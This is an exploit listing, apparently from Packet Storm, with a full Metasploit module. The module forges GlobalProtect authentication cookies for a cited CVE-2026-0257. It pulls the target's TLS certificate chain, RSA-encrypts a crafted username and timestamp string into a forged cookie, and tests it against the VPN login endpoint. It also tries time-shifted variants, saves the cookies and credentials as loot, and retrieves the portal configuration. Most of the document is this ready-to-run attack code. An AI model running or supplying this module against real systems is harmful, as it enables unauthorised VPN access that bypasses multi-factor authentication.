Share
## https://sploitus.com/exploit?id=PACKETSTORM:223334
==================================================================================================================================
    | # Title     : GlobalProtect Authentication Bypass Validation Metasploit Auxiliary Module                                       |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : System built in component                                                                                        |
    ==================================================================================================================================
    
    [+] Summary    :  auxiliary module is designed to automate assessment of an alleged authentication bypass vulnerability affecting GlobalProtect deployments. 
                      The module integrates certificate collection, authentication workflow testing, result reporting, and artifact storage into a repeatable assessment workflow.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Report
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Palo Alto GlobalProtect CVE-2026-0257 Authentication Bypass',
            'Description' => %q{
              This module exploits an authentication bypass vulnerability (CVE-2026-0257)
              in Palo Alto Networks PAN-OS GlobalProtect portal and gateway components.
    
              The vulnerability stems from CWE-565: Reliance on Cookies without Validation
              and Integrity Checking. An unauthenticated remote attacker can forge
              authentication cookies using the public key extracted from the TLS certificate
              chain, leading to unauthorized VPN access.
    
              Vulnerable configurations require:
              - GlobalProtect portal or gateway configured
              - Authentication override cookies enabled
              - Certificate reuse for cookie encryption
    
              Successfully exploited targets allow the attacker to establish unauthorized
              VPN connections and bypass multi-factor authentication.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-0257'],
              ['URL', 'https://security.paloaltonetworks.com/CVE-2026-0257'],
              ['URL', 'https://cisa.gov/known-exploited-vulnerabilities/cve-2026-0257'],
              ['URL', 'https://attackerkb.com/topics/cve-2026-0257']
            ],
            'DisclosureDate' => '2026-05-13',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            },
            'DefaultOptions' => {
              'RPORT' => 443,
              'SSL' => true
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base path for GlobalProtect', '/']),
          OptString.new('USERNAME', [false, 'Username to forge cookie for', 'admin']),
          OptString.new('DOMAIN', [false, 'Domain name (if required)', '']),
          OptString.new('CLIENT_IP', [false, 'Client IP to spoof', '127.0.0.1']),
          OptInt.new('TIME_OFFSET', [false, 'Time offset in seconds for stale cookie attack', 0]),
          OptBool.new('TRY_ALL_CERTS', [true, 'Try all certificates in chain', true]),
          OptBool.new('TIME_SHIFT_ATTACK', [true, 'Try time-shifted cookie attacks', true])
        ])
    
        register_advanced_options([
          OptInt.new('TIMEOUT', [true, 'HTTP request timeout', 15]),
          OptBool.new('VERBOSE_RESPONSE', [false, 'Show full response on success', false])
        ])
      end
    
      def peer
        "#{ssl ? 'https://' : 'http://'} #{rhost}:#{rport}"
      end
      def extract_certificate_chain
        print_status("Extracting certificate chain from #{peer}")
        cert_chain = []
        begin
          ctx = OpenSSL::SSL::SSLContext.new
          ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
          
          sock = TCPSocket.new(rhost, rport)
          ssl_sock = OpenSSL::SSL::SSLSocket.new(sock, ctx)
          ssl_sock.hostname = rhost
          ssl_sock.connect
    
          certs = ssl_sock.peer_cert_chain
          if certs
            certs.each do |cert|
              cert_chain << cert
              print_status("Found certificate: #{cert.subject.to_s(OpenSSL::X509::Name::ONELINE)}")
            end
          else
            cert = ssl_sock.peer_cert
            cert_chain << cert if cert
            print_status("Found single certificate: #{cert.subject.to_s(OpenSSL::X509::Name::ONELINE)}")
          end
          
          ssl_sock.close
          sock.close
          
        rescue => e
          print_error("Failed to extract certificate chain: #{e.message}")
          return []
        end
        
        print_good("Extracted #{cert_chain.length} certificate(s)")
        cert_chain
      end
    
      def forge_auth_cookie(cert, username, domain, client_ip, timestamp = nil)
        timestamp ||= Time.now.to_i + datastore['TIME_OFFSET']
        plaintext = "#{username};#{domain};;#{timestamp};#{client_ip};"
        vprint_status("Plaintext payload: #{plaintext}")
        
        begin
          public_key = cert.public_key
          ciphertext = public_key.public_encrypt(plaintext, OpenSSL::PKey::RSA::PKCS1_PADDING)
          cookie = Rex::Text.encode_base64(ciphertext)
          
          print_good("Forged cookie for user: #{username} (timestamp: #{timestamp})")
          vprint_status("Cookie (first 60 chars): #{cookie[0..60]}...")
          
          return cookie
          
        rescue => e
          print_error("Failed to forge cookie: #{e.message}")
          return nil
        end
      end
    
      def test_cookie(cookie, username, endpoint = '/ssl-vpn/login.esp')
        print_status("Testing cookie against #{endpoint}")
        
        post_data = {
          'user' => username,
          'passwd' => '',
          'portal-userauthcookie' => cookie,
          'direct' => 'yes',
          'clientVer' => '4100',
          'prot' => 'https',
          'server' => rhost,
          'ok' => 'Login',
          'jnlpReady' => 'jnlpReady'
        }
        
        begin
          res = send_request_cgi(
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, endpoint),
            'vars_post' => post_data,
            'ctype' => 'application/x-www-form-urlencoded',
            'timeout' => datastore['TIMEOUT']
          )
          
          if res
            vprint_status("HTTP #{res.code}")
            success_indicators = [
              'Success', 'success', 'successful',
              '<argument>', 'argument',
              'portal', 'Portal', 'gateway', 'Gateway',
              'config', 'Config', 'session', 'Session',
              'authcookie', 'set-cookie', 'Set-Cookie'
            ]
            if res.body
              success_indicators.each do |indicator|
                if res.body.include?(indicator) && !res.body.downcase.include?('error')
                  return true, res
                end
              end
              if res.code == 302 || (res.code == 200 && res.body.length > 500)
                if !res.body.downcase.include?('invalid') && !res.body.downcase.include?('failed')
                  return true, res
                end
              end
            end
            
            return false, res
          else
            return false, nil
          end
          
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
          print_error("Connection failed: #{e.message}")
          return false, nil
        rescue => e
          print_error("Request failed: #{e.message}")
          return false, nil
        end
      end
    
      def extract_gateway_info(response)
        info = {}   
        if response && response.body
          if response.body =~ /portal[":\s]+([a-zA-Z0-9._-]+)/i
            info['portal'] = Regexp.last_match(1)
          end
          if response.body =~ /gateway[":\s]+([a-zA-Z0-9._-]+)/i
            info['gateway'] = Regexp.last_match(1)
          end
          if response.body =~ /(?:gp-auth-cookie|GP-Auth-Cookie)[=:\s]+([a-zA-Z0-9+/=]+)/i
            info['auth_cookie'] = Regexp.last_match(1)
          end
        end
        if response && response.headers
          if response.headers['Set-Cookie'] =~ /(?:GP-Auth-Cookie|gp-auth-cookie)=([^;]+)/i
            info['set_cookie'] = Regexp.last_match(1)
          end
        end
        
        info
      end
      def report_credentials(username, cookie, info)
        credential_data = {
          origin_type: :service,
          module_fullname: fullname,
          username: username,
          private_data: cookie,
          private_type: :nonreplayable_hash,
          service_name: 'palo_alto_globalprotect',
          workspace_id: myworkspace_id
        }
        credential_data[:address] = rhost
        credential_data[:port] = rport
        credential_data[:protocol] = 'tcp'
        
        if info['gateway']
          credential_data[:proof] = "Gateway: #{info['gateway']}"
        elsif info['portal']
          credential_data[:proof] = "Portal: #{info['portal']}"
        end
        
        credential_core = create_credential(credential_data)
        
        login_data = {
          core: credential_core,
          status: Metasploit::Model::Login::Status::SUCCESSFUL,
          workspace_id: myworkspace_id
        }
        
        create_credential_login(login_data)
        
        print_good("Credentials stored in database")
      end
    
      def run_host(ip)
        print_status("Starting exploitation against #{peer}")
    
        unless check_host
          print_error("Target does not appear to be a GlobalProtect portal")
          return
        end
        cert_chain = extract_certificate_chain
        if cert_chain.empty?
          print_error("Could not extract any certificates")
          return
        end
        username = datastore['USERNAME']
        domain = datastore['DOMAIN']
        client_ip = datastore['CLIENT_IP']
        
        print_status("Attempting authentication bypass for user: #{username}")
        success = false
        certs_to_try = datastore['TRY_ALL_CERTS'] ? cert_chain : [cert_chain.first]
        
        certs_to_try.each_with_index do |cert, idx|
          print_status("Trying certificate #{idx + 1}/#{certs_to_try.length}")
    
          cookie = forge_auth_cookie(cert, username, domain, client_ip)
          next unless cookie
          success, response = test_cookie(cookie, username)
          
          if success
            print_good("=" * 60)
            print_good("SUCCESS! Authentication bypass achieved!")
            print_good("=" * 60)
            print_good("Username: #{username}")
            print_good("Cookie: #{cookie}")
    
            info = extract_gateway_info(response)
            if info['gateway']
              print_good("Gateway: #{info['gateway']}")
            end
            if info['portal']
              print_good("Portal: #{info['portal']}")
            end
            if info['auth_cookie'] || info['set_cookie']
              print_good("Session cookie obtained: #{info['auth_cookie'] || info['set_cookie']}")
            end
            if datastore['VERBOSE_RESPONSE'] && response
              print_status("Response body preview:")
              print_line(response.body[0..500]) if response.body
            end
            loot_path = store_loot(
              'palo_alto_globalprotect_cookie',
              'text/plain',
              rhost,
              "GP-AUTH-COOKIE=#{cookie}\nUsername=#{username}\nTarget=#{peer}\nCVE-2026-0257",
              "cve-2026-0257_cookie_#{username}.txt",
              "CVE-2026-0257 forged authentication cookie"
            )
            print_good("Cookie saved to loot: #{loot_path}")
            report_credentials(username, cookie, info)
            report_service(
              host: rhost,
              port: rport,
              proto: 'tcp',
              name: 'palo_alto_globalprotect',
              info: "Vulnerable to CVE-2026-0257 authentication bypass"
            )
            get_portal_config(cookie)
            
            success = true
            break
          else
            if response
              vprint_error("Failed with this certificate: HTTP #{response.code}")
            else
              vprint_error("Failed with this certificate: No response")
            end
          end
        end
        if !success && datastore['TIME_SHIFT_ATTACK']
          print_status("Attempting time-shifted cookie attacks...")
          
          [ -3600, 3600, -7200, 7200, -86400, 86400 ].each do |offset|
            next if offset == datastore['TIME_OFFSET']
            print_status("Trying time offset: #{offset} seconds")
            datastore['TIME_OFFSET'] = offset
            cookie = forge_auth_cookie(cert_chain.first, username, domain, client_ip)
            next unless cookie
            success, response = test_cookie(cookie, username)
            if success
              print_good("SUCCESS with time offset #{offset} seconds!")
              print_good("Username: #{username}")
              print_good("Cookie: #{cookie}")
              loot_path = store_loot(
                'palo_alto_globalprotect_cookie_timeshift',
                'text/plain',
                rhost,
                "GP-AUTH-COOKIE=#{cookie}\nUsername=#{username}\nTarget=#{peer}\nTimeOffset=#{offset}",
                "cve-2026-0257_cookie_timeshift_#{offset}.txt",
                "CVE-2026-0257 forged cookie (time offset: #{offset})"
              )
              print_good("Cookie saved to loot: #{loot_path}")
              report_credentials(username, cookie, extract_gateway_info(response))
              success = true
              break
            end
          end
        end
        unless success
          print_error("Exploitation failed. Target may not be vulnerable or authentication override cookies are disabled.")
        end
      end
      def get_portal_config(cookie)
        print_status("Attempting to retrieve portal configuration...")
        post_data = {
          'action' => 'getconfig',
          'portal-userauthcookie' => cookie,
          'clientVer' => '4100'
        }
        begin
          res = send_request_cgi(
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, '/ssl-vpn/getconfig.esp'),
            'vars_post' => post_data,
            'timeout' => datastore['TIMEOUT']
          )
          if res && res.code == 200 && res.body
            vprint_status("Portal config retrieved (#{res.body.length} bytes)")
            config_path = store_loot(
              'palo_alto_globalprotect_config',
              'text/xml',
              rhost,
              res.body,
              "globalprotect_config.xml",
              "GlobalProtect portal configuration"
            )       
            print_good("Portal configuration saved to: #{config_path}")
          end
        rescue => e
          vprint_error("Failed to get portal config: #{e.message}")
        end
      end
      def check_host
        print_status("Checking if target is a GlobalProtect portal...")
        endpoints = ['/global-protect/login.esp', '/ssl-vpn/login.esp']
        endpoints.each do |endpoint|
          begin
            res = send_request_cgi(
              'method' => 'GET',
              'uri' => normalize_uri(target_uri.path, endpoint),
              'timeout' => datastore['TIMEOUT']
            )       
            if res && res.code == 200
              if res.body && (res.body.include?('GlobalProtect') || res.body.include?('global-protect'))
                print_good("GlobalProtect portal detected at #{endpoint}")
                return true
              end
            end
          rescue
            next
          end
        end 
        print_error("GlobalProtect portal not detected")
        false
      end
    end
    
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================